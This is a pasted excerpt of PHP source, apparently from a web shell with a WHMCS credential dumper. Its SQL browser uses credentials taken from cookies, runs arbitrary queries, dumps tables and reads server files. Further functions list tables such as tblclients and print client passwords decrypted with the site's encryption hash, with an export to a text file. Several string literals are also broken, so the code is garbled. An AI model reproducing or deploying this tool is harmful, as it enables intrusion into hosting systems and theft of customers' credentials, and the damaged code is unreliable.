  1818. foreach($_POST['tbl'] as $v)
  1819. $db->dump($v, $fp);
  1820. fclose($fp);
  1821. unset($_POST['p2']);
  1822. } else
  1823. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1824. }
  1825.  
  1826. echo "
  1827. <center><h1>Sql browser</h1></center><div class=content>
  1828. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr valign='top'>
  1829. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr valign='top'>
  1830. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value='><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:') ."'>
  1831. <td><select name='type'><option value='mysql' ";
  1832. if(@$_POST['type']=='mysql')echo 'selected';
  1833. echo ">MySql</option><option value='pgsql' ";
  1834. if(@$_POST['type']=='pgsql')echo 'selected';
  1835. echo ">PostgreSql</option></select></td>
  1836. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?$_COOKIE["db_host"]:htmlspecialchars($_POST['sql_host'])) ."'></td>
  1837. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?$_COOKIE["db_username"]:htmlspecialchars($_POST['sql_login'])) ."'></td>
  1838. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?$_COOKIE["db_password"]:htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1839. $tmp = "<input type=text name=sql_base value='".$_COOKIE["db_name"]."'>";
  1840. if(isset($_POST['sql_host'])){
  1841. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1842. switch($_POST['charset']) {
  1843. case "Windows-1251": $db->setCharset('cp1251'); break;
  1844. case "UTF-8": $db->setCharset('utf8'); break;
  1845. case "KOI8-R": $db->setCharset('koi8r'); break;
  1846. case "KOI8-U": $db->setCharset('koi8u'); break;
  1847. case "cp866": $db->setCharset('cp866'); break;
  1848. }
  1849. $db->listDbs();
  1850. echo "<select name=sql_base><option value='></option>";
  1851. while($item = $db->fetch()) {
  1852. list($key, $value) = each($item);
  1853. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':').'>'.$value.'</option>';
  1854. }
  1855. echo '</select>';
  1856. }
  1857. else echo $tmp;
  1858. }else
  1859. echo $tmp;
  1860. echo "</td>
  1861. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1862. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?':' checked') . "> count the number of rows</td>
  1863. </tr>
  1864. </table>
  1865. <script>
  1866. s_db='".@addslashes($_POST['sql_base'])."';
  1867. function fs(f) {
  1868. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1869. if(f.p1) f.p1.value=';
  1870. if(f.p2) f.p2.value=';
  1871. if(f.p3) f.p3.value=';
  1872. }
  1873. }
  1874. function st(t,l) {
  1875. d.sf.p1.value = 'select';
  1876. d.sf.p2.value = t;
  1877. if(l && d.sf.p3) d.sf.p3.value = l;
  1878. d.sf.submit();
  1879. }
  1880. function is() {
  1881. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1882. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1883. }
  1884. </script>";
  1885. if(isset($db) && $db->link){
  1886. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1887. if(!empty($_POST['sql_base'])){
  1888. $db->selectdb($_POST['sql_base']);
  1889. echo "<tr valign='top'><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1890. $tbls_res = $db->listTables();
  1891. while($item = $db->fetch($tbls_res)) {
  1892. list($key, $value) = each($item);
  1893. if(!empty($_POST['sql_count']))
  1894. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'));
  1895. $value = htmlspecialchars($value);
  1896. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1897. }
  1898. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1899. if(@$_POST['p1'] == 'select') {
  1900. $_POST['p1'] = 'query';
  1901. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1902. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1903. $num = $db->fetch();
  1904. $pages = ceil($num['n'] / 30);
  1905. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1906. echo " of $pages";
  1907. if($_POST['p3'] > 1)
  1908. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1909. if($_POST['p3'] < $pages)
  1910. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1911. $_POST['p3']--;
  1912. if($_POST['type']=='pgsql')
  1913. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1914. else
  1915. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1916. echo "<br><br>";
  1917. }
  1918. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1919. $db->query(@$_POST['p2']);
  1920. if($db->res !== false) {
  1921. $title = false;
  1922. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1923. $line = 1;
  1924. while($item = $db->fetch()) {
  1925. if(!$title) {
  1926. echo '<tr valign="top">';
  1927. foreach($item as $key => $value)
  1928. echo '<td>'.$key.'</td>';
  1929. reset($item);
  1930. $title=true;
  1931. echo '</tr><tr valign="top">';
  1932. $line = 2;
  1933. }
  1934. echo '<tr valign="top"class="l'.$line.'">';
  1935. $line = $line==1?2:1;
  1936. foreach($item as $key => $value) {
  1937. if($value == null)
  1938. echo '<td><i>null</i></td>';
  1939. else
  1940. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1941. }
  1942. echo '</tr>';
  1943. }
  1944. echo '</table>';
  1945. } else {
  1946. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1947. }
  1948. }
  1949. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1950. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1951. echo htmlspecialchars($_POST['p2']);
  1952. echo "</textarea><br/><input type=submit value='Execute'>";
  1953. echo "</td></tr>";
  1954. }
  1955. echo "</table></form><br/>";
  1956. if($_POST['type']=='mysql') {
  1957. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1958. if($db->fetch())
  1959. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1960. }
  1961. if(@$_POST['p1'] == 'loadfile') {
  1962. $file = $db->loadFile($_POST['p2']);
  1963. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1964. }
  1965. } else {
  1966. echo htmlspecialchars($db->error());
  1967. }
  1968. echo '</div>';
  1969. }
  1970. function multiview($p,$table,$name,$order,$where,$col,$sql,$export=0,$if="")
  1971. {
  1972. global $cc_encryption_hash;
  1973. $qq=$_GET["qq"];
  1974. $q=str_replace(" ","%",$_POST["q"]);
  1975. if($qq<>"")$q=$qq;
  1976. if($q=="")$q="%";
  1977. if($qq=="")$qq=$q;
  1978. $query=mysql_query("SELECT * FROM $table LIMIT 0,5");
  1979. if(!is_array(mysql_fetch_array($query)))
  1980. {
  1981.  
  1982. echo '<p class="msg error">Nothing Found !</p>';
  1983. }
  1984. else
  1985. {
  1986. echo "<center><h1>$name</h1> <br>";
  1987. if ($export==1)
  1988. {
  1989. echo "<form action=\"?p=$p\" name=\"formw\" method=\"post\">\n\n<input name=\"export\" type=\"hidden\" value=\"1\">\n<center><input type=\"submit\" name=\"submit2\" class=\"input-submit\" value=\"[Save to TXT file ]\" /></form></center><br>";
  1990. }
  1991. echo("<center><h3 class=\"tit\">Search</h3><FORM action=\"?p=$p\" method=\"post\">\n\n<input type=\"text\" name=\"q\" value=\"$q\">\n<br>\n<INPUT class=\"input-submit\" type=\"submit\" value=\"Submit\" name=\"Submit\">\n</form>");
  1992. if(isset($_GET["page"]))
  1993. {
  1994. $page=intval($_GET["page"]);
  1995. }
  1996. else
  1997. {
  1998. $page=1;
  1999. }
  2000. if (is_array($where))
  2001. {
  2002. $where2="'0";
  2003. foreach ($where as $w)
  2004. {
  2005. $where2.="' or $w LIKE '%$q%";
  2006. }
  2007. $where2.="'";
  2008. }else
  2009. {
  2010. $where2=$where;
  2011. }
  2012. $start_from=($page-1)*100;
  2013. $query=mysql_query("SELECT * FROM $table where $if ($where2) order by $order LIMIT $start_from , 100 ");
  2014. $total_records=mysql_num_rows(mysql_query("SELECT * FROM $table where $if ($where2) order by $order"));
  2015. echo("<h3 class=\"tit\">Total Records ".$total_records."</h3><br>");
  2016. $total_pages=ceil($total_records/100);
  2017. echo("<br><table border='0'><tr>");
  2018. echo("<th>Page ".$page." Of ".$total_pages."</th>");
  2019. if($page>1)echo"<td><a href='?p=$p&qq=".$qq."&page=".($page-1)."'>Back</a>&nbsp</td>";
  2020. echo"<td><a href='?p=$p&qq=".$qq."&page=".$total_pages."'>Latest</a></td>";
  2021. if($page<$total_pages)echo"<td>&nbsp<a href='?p=$p&qq=".$qq."&page=".($page+1)."'>Next</a>&nbsp</td>";
  2022. for ($i=0; $i<=$total_pages; $i++) {
  2023. if ($i%2==0) {$bg2='class="bg2"';} else {$bg2=';}
  2024. if ($i%20==0) echo "</tr><tr >";
  2025. if ($i==0)
  2026. {
  2027. echo "<td>&nbsp&nbsp</td>";
  2028. }
  2029. else
  2030. {
  2031. if($i==$page)
  2032. {
  2033. echo"<td $bg2>&nbsp<a href='?p=$p&qq=".$qq."&page=".$i."'>(".$i.")</a>&nbsp</td>";
  2034. }
  2035. else
  2036. {
  2037. echo"<td $bg2>&nbsp<a href='?p=$p&qq=".$qq."&page=".$i."'>".$i."</a>&nbsp</td>";
  2038. }
  2039. }
  2040. }
  2041. echo("</tr></table>");
  2042. if(!is_array(mysql_fetch_array($query)))
  2043. {
  2044.  
  2045. echo '<p class="msg error">Nothing Found !</p>';
  2046. exit;
  2047. }
  2048.  
  2049. echo"<br><table ><tr>";
  2050. foreach ($col as $col1) {echo "<th>$col1</th>";}
  2051. echo" </tr>";
  2052. $query=mysql_query("SELECT * FROM $table where $if ($where2) order by $order LIMIT $start_from , 100 ");
  2053. $ii=0;
  2054. while($v=mysql_fetch_array($query))
  2055. {
  2056. if ($ii%2==0) {$bg='class="bg"';} else {$bg=';}
  2057. echo"<tr $bg >";
  2058. foreach ($sql as $sql1) {
  2059. if ($sql1=="password")
  2060. {
  2061. echo "<td>".decrypt($v["password"],$cc_encryption_hash)."</td>";
  2062. }elseif (($sql1=="userid") or (($table="tblclients")and($sql1=="id")))
  2063. {
  2064. echo "<td> <a href='?p=12&id=".$v[$sql1]."'>".$v[$sql1]."</a></td>";
  2065. }
  2066. else{
  2067. echo "<td>".$v[$sql1]."</td>";
  2068. }}
  2069. echo "</tr>";
  2070. $ii++;
  2071. }
  2072.  
  2073. echo"</table>";
  2074. }
  2075. }
  2076. function table($sql,$col)
  2077. {
  2078. global $cc_encryption_hash;
  2079. $q=mysql_query($sql);
  2080.  
  2081.  
  2082. if(!is_array(@mysql_fetch_array($q)))
  2083. {
  2084.  
  2085. echo '<p class="msg error">Nothing Found !</p>';
  2086. return;
  2087. }
  2088. $q=mysql_query($sql);
  2089. echo("<br><table border='0'>");
  2090. echo "<tr>";
  2091. foreach ($col as $sql1) {echo "<th>".ucfirst($sql1)."</th>";}
  2092. echo "</tr>";
  2093. $ii=0;
  2094. while($v=mysql_fetch_array($q))
  2095. {
  2096. if ($ii%2==0) {$bg='class="bg"';} else {$bg=';}
  2097. echo"<tr $bg >";
  2098. foreach ($col as $sql1) {
  2099. if ($sql1=="password")
  2100. {
  2101. echo "<td>".decrypt($v["password"],$cc_encryption_hash)."</td>";
  2102. }elseif (($sql1=="userid") or (($table="tblclients")and($sql1=="id")))
  2103. {
  2104. echo "<td> <a href='?p=12&id=".$v[$sql1]."'>".$v[$sql1]."</a></td>";
  2105. }
  2106. else{
  2107. echo "<td>".$v[$sql1]."</td>";
  2108. }}
  2109. echo "</tr>";
  2110. $ii++;
  2111. }
  2112. echo "</table><br>";
  2113. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement